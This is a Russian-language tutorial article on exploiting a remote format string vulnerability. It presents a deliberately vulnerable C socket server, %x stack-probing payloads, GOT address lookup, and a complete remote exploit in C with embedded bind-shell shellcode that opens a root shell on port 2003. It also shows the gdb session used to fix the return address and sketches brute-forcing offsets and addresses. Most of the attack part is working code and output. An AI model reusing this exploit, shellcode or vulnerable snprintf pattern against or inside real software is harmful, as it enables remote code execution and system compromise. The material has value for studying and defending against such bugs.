Много уже статей написано на тему описания техник форматирования строк.
Но меня поражает то, что в них в качестве примеров авторы показывают
локальные уязвимости и эксплоиты к ним. В данной же статье я не буду
описывать технику данной ошибки. Я постараюсь показать вам пример
написания уязвимого сервера. Так же я покажу пример удаленного эксплоита к нему.
Для понимания всего описанного ниже нужны
хотя бы начальные знания техники
форматирования строки, языка Си (программирования сокетов в частности).

Вообще, ошибка форматирования строки стала известна еще в далеком 1999 году.
Но в том же году на нее особо никто не обратил внимания... Все считали, что
данная уязвимость не подлежит эксплуатированию и исполнению кода. Но спустя
год практика показала свое. Было написано множество эксплоитов на базе
форматирования строки. Ошибки обнаруживались как в больших популярных
серверных приложениях, так и в простеньких утилитах. Примером тому может
служить мощный эксплоит для wu-ftpd... По сути, сейчас даже встречаются глупые ошибки программистов в популярных
серверных приложениях. Например, обнаруженные мной глупые ошибки в openftpd
или qwik-smtpd.

Ну довольно слов... Пора приступить к делу. В качестве уязвимого сервера
я взял пример, написанный мной для статьи "Переполнение буфера для чайников".
Я его немного подкорректировал для того, чтобы мы смогли его проэксплуатировать
на базе ошибки format string.

Вот как он выглядит сейчас:

Server.c

#include
#include
#include

#define BUFFER_SIZE 2048
#define NAME_SIZE 2048

int handling_client(int c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];

memset(name, 0x00, 2048);
memset(buffer, 0x00, 2048);

read(c, name, sizeof(name), 0);
snprintf(buffer, 2048, name);
send(c, buffer, strlen(buffer), 0);
return 0;
}

int main(int argc, char *argv[]) {

int Sock, con, client_size;
struct sockaddr_in srv, cli;

if (argc != 2) {
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}

Sock = socket(AF_INET, SOCK_STREAM, 0);

srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;

bind(Sock, &srv, sizeof(srv));

listen(Sock, 3);

for(;;) {
con = accept(Sock, &cli, &client_size);
if (handling_client(con) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(con);
}
return 0;
}

Если приглядеться, то в коде сервера увидеть и саму уязвимость.
Она кроется в строке

snprintf(buffer, 2048, name);

В данной строчке мы с помощью функции snprintf() копируем в "buffer" размером
2048 байт строку, которую ввел пользователь. Как раз в данной функции и заключается ошибка. Мы копируем строку без указания
формата ее вывода. В спецификации формат может быть любой из
ниже перечисленных:

%s - вывод строки
%x - вывод hex строки
%d - вывод десятичной строки
%c - вывод символьной строки

Теперь давайте откомпилируем сервер и запустим его.

[root@localhost Format]# gcc srv.c -o srv
srv.c: In function `main':
srv.c:36: warning: passing arg 2 of `bind' from incompatible pointer type
srv.c:41: warning: passing arg 2 of `accept' from incompatible pointer type
[root@localhost Format]# ./srv
usage: ./srv port
[root@localhost Format]# ./srv 5555

Итак, сервер приступил к работе. Попробуем к нему подключиться...

[root@localhost root]# telnet localhost 5555
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
TESTING....
TESTING....
Connection closed by foreign host.
[root@localhost root]#

Как видно, сервер выводит на экран клиенту введенную им строку...
Вроде бы ничего странного... Но давайте попробуем по другому...

[root@localhost root]# telnet localhost 5555
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAA.0.41414141.2e78252e.252e7825.78252e78.2e78252e.252e
7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e782 5.78252e78.a0d.0
Connection closed by foreign host.
[root@localhost root]#

Опа! Вот и ошибка... Мы прочитали содержимое стека. Как видно смещение равно
двум. Это подтверждает следующее...

[root@localhost root]# telnet localhost 5555
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
AAAA%2$x
AAAA41414141
Connection closed by foreign host.
[root@localhost root]#

Так... Смещение мы узнали... Теперь давайте узнаем адрес наших функций, используемых в нашем серверном приложении.
Я думаю вы знаете, что в ELF-формате адреса функций расположены в таблице
GOT (Global Offset Table). Так вот, для того чтобы
узнать адрес какой-либо функции в бинарнике, нужно выполнить следующее:

[root@localhost Format]# objdump -R ./srv

./srv: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049a30 R_386_GLOB_DAT __gmon_start__
08049a34 R_386_COPY stderr
080499f8 R_386_JUMP_SLOT atol
080499fc R_386_JUMP_SLOT close
08049a00 R_386_JUMP_SLOT fprintf
08049a04 R_386_JUMP_SLOT accept
08049a08 R_386_JUMP_SLOT listen
08049a0c R_386_JUMP_SLOT strlen
08049a10 R_386_JUMP_SLOT __libc_start_main
08049a14 R_386_JUMP_SLOT bind
08049a18 R_386_JUMP_SLOT snprintf
08049a1c R_386_JUMP_SLOT send
08049a20 R_386_JUMP_SLOT htons
08049a24 R_386_JUMP_SLOT memset
08049a28 R_386_JUMP_SLOT socket
08049a2c R_386_JUMP_SLOT read

[root@localhost Format]#

Так вот, слева адреса функций, названия
расположены справа. В статьях, описывающих технику эксплоитинга format string, приводятся
примеры локальных эксплоитов. Там они в качестве перезаписывающегося адреса
используют деконструктор или функцию exit(0); В нашем же случае мы не будем
использовать деконструктор, т.к. он здесь неактуален. Если мы в качестве адреса
для перезаписи возьмем адрес деконструктора, то код будет выполнен только после
завершения работы сервера. Нам этого не нужно. В качестве адреса предлагаю взять
адрес функции snprintf(). Почему? Да потому что, когда мы пошлем нашу строку серверу,
сервер сначала выполнит копирование введеных нами данных, а затем только пошлет на
терминал эти же данные. Поэтому при копировании мы перезаписываем адрес функции
snprintf() на адрес кода, который лежит в стеке, и шеллкод исполняется с правами
пользователя, который запустил уязвимый сервер.

Итак, довольно слов... Приступаем к делу...

Что мы имеем? А имеем мы следующее: мы знаем смещение (оно равно двум) и знаем
адрес функции snprintf() (он равен 0x08049a18). Осталось узнать только адрес
нашего кода в стеке... Его мы узнаем далее.... Наш удаленный эксплоит должен выполнять следующее...
Он должен соединяться с сервером. Далее формировать специальную строку для
посылки серверу, а потом только отправлять ее. В случае удачного эксплуатирования
мы получим удаленный root шелл на определенном порту. Итак, давайте все это реализуем
и напишем эксплоит.

Вот как выглядит эксплоит, написанный мной:

Exploit.c

#include
#include
#include

#define offset 2 // наше смещение
#define var 0x08049a18 // адрес функции snprintf()

static char shellcode[]= // Bind 2003 PORT
"\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
"\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
"\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
"\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
"\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
"\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{
int port;
char *ip_address;

char *addr[3] = { ((char *)var +2),
((char *)var),
};

char buffer[1000];
int high, low;
long target = 0x41424344; // pre-address

int Socket;
struct sockaddr_in Addr;

if ( argc < 3 )
{
printf("Remote Format String Vulnerability Exploit by Dark Eagle\n\nusage: %s \n\n", argv[0]);
exit(0);
}

ip_address = argv[1];
port = atoi(argv[2]);

Addr.sin_family = AF_INET;
Addr.sin_port = htons(port);
Addr.sin_addr.s_addr = inet_addr(ip_address);

Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

connect(Socket, (struct sockaddr*)&Addr, sizeof(Addr));

printf("[~] preparing sploit data...\n");

high = (target & 0xffff0000) >> 16;
low = (target & 0x0000ffff);

high -= 0x8;

sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &addr, high, offset, (low - high)-0x8, offset+1);
memset(buffer+strlen(buffer), 0x41, 32);
sprintf(buffer+strlen(buffer), "%s\r\n", shellcode);
printf("[+] done...\n[~] sending sploit data\n");

send(Socket, buffer, strlen(buffer), 1);

printf("[+] done!\n\nNow try to connect %s:2003\n\n", ip_address);
close(Socket);
}

Как можно видеть из кода. В качестве адреса на шеллкод я использовал 0x41424344.
Поэтому код не исполнится. Я это сделал специально для того, чтобы показать вам
пример нахождения правильного адреса на наш шеллкод.

Итак, давайте откомпилируем эксплоит и попробуем запустить. После запуска в корне
сервера должен образоваться coredump и сервер должен "упасть".

[root@localhost Format]# gcc exploit.c -o exploit
[root@localhost Format]# ./exploit 127.0.0.1 31337
[~] preparing sploit data...
[+] done...
[~] sending sploit data
[+] done!

Now try to connect 127.0.0.1:2003

[root@localhost Format]#

Итак, взглянем на окно сервера...

[root@localhost Format]# ./srv 31337
Segmentation fault (core dumped)
[root@localhost Format]# ls
article.txt core.3110 exploit* exploit.c* srv* srv.c
[root@localhost Format]#

Опа! Видим сервер рухнул. И в директории создан "отчет".
Просмотрим его.

[root@localhost Format]# gdb src -core core.3110
GNU gdb 6.0-2mdk (Mandrake Linux)

Core was generated by `./srv 31337'.
Program terminated with signal 11, Segmentation fault.
#0 0x41424344 in ?? ()
(gdb)

Что и следовало ожидать. Наш сервер обратился по адресу 0x41424344, но там
ничего нет... Теперь давайте найдем правильный адрес на наш шеллкод.

Можно увидеть, что шеллкод расположен по адресу "0xbfffe77c". Попробуем его
подставить вместо 0x41424344.

long target = 0xbfffe77c; /// address of our evil c0d3 🙂

Перекомпилируем и запустим.

[root@localhost Format]# gcc exploit.c -o exploit
[root@localhost Format]# ./exploit 127.0.0.1 7777
[~] preparing sploit data...
[+] done...
[~] sending sploit data
[+] done!

Now try to connect 127.0.0.1:2003

Теперь попробуем соединится с 2003 портом.

[root@localhost Format]# telnet localhost 2003
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
uname -a
Linux localhost 2.6.3-7mdk #1 Wed Mar 17 15:56:42 CET 2004 i686 unknown unknown GNU/Linux

Вот и все. Эксплоит сработал успешно и в итоге мы получили шелл на 2003 порту.

Теперь хотелось бы немного рассказать о переборах смещения и адресов возврата на код.
Со смещением все вроде бы ясно. Алгоритм прост до безобразия...
Он примерно таков.

Соединяемся с сервером посылаем строку вида AAAA%y$x (где y значение, увеличивающееся
в цикле на единицу). Далее анализируем ответ сервера. Если он равен "AAAA41414141",
то смещение подобрано, если нет, то продолжаем перебор.
Но скажу, что данный алгоритм подходит для уязвимых серверов, которые возвращают ответ.
Например вида FTP сервера ("331 Now enter password for 'AAAA41414141'"). Здесь все
просто. Но если же сервер записывает данные в какой-нибудь лог, то тут уже придется
анализировать вручную. Но опять же можно написать программу, которая посылает серверу
строку, далее открывает лог и анализирует данные сервера, записанные туда.

Теперь переходим к подбору адреса возврата на наш код в стеке.
Здесь все обстоит по-другому, нежели со смещением. Вообще удаленный перебор адресов
можно применять только к многопоточным серверам. В которых каждому подключившемуся
клиенту выделяется отдельный потом, независящий от главного сервера. В таких случаях
при посылке спец. строки, которая может привести к краху сервера, главный сервер не
падает, а падает дочерний поток сервера. В данном случае можно перебирать адрес
спокойно.

Алгоритм может быть следующий:

Мы знаем, что адреса функций в Linux имеют виде 0xbfffxxxx. То есть можно таким
способом запустить цикл, в котором будут перебираться адреса.

Примерный цикл таков:

int ret, i;
for ( i = 1; i <= 0xffff; i+=4 )
{
ret = 0xbfff0000+i;

}

Т.е. после соединения с многопоточным сервером начинаем перебор.

Вот такая вот замудренная схема.

На этом смею отклониться и пожелать вам всяческих удач. Читайте BugTraq, пишите
эксплоиты, практикуйтесь. Как говорится: "Все приходит с опытом".

Напоследок приведу некольно хороших документаций.

[1] Exploiting Format String Vulnerabilities by scut/team teso '01.
[2] Format String Bugs by rave/rosiello security '04
[3] Advances in format string exploiting by gera & riq '02

Вот в принципе и все... По всем вопросам пишите на форум
http://unl0ck.void.ru/forum

Keyword:уязвимость Remote Format String Vulnerability, форматная строка, форматирования строки

Check Also

Дырявые диски. Эксплуатируем уязвимости в сетевых хранилищах Synology

Защита данных, приватность и соответствие нормам безопасного хранения информации — то, над…

Оставить мнение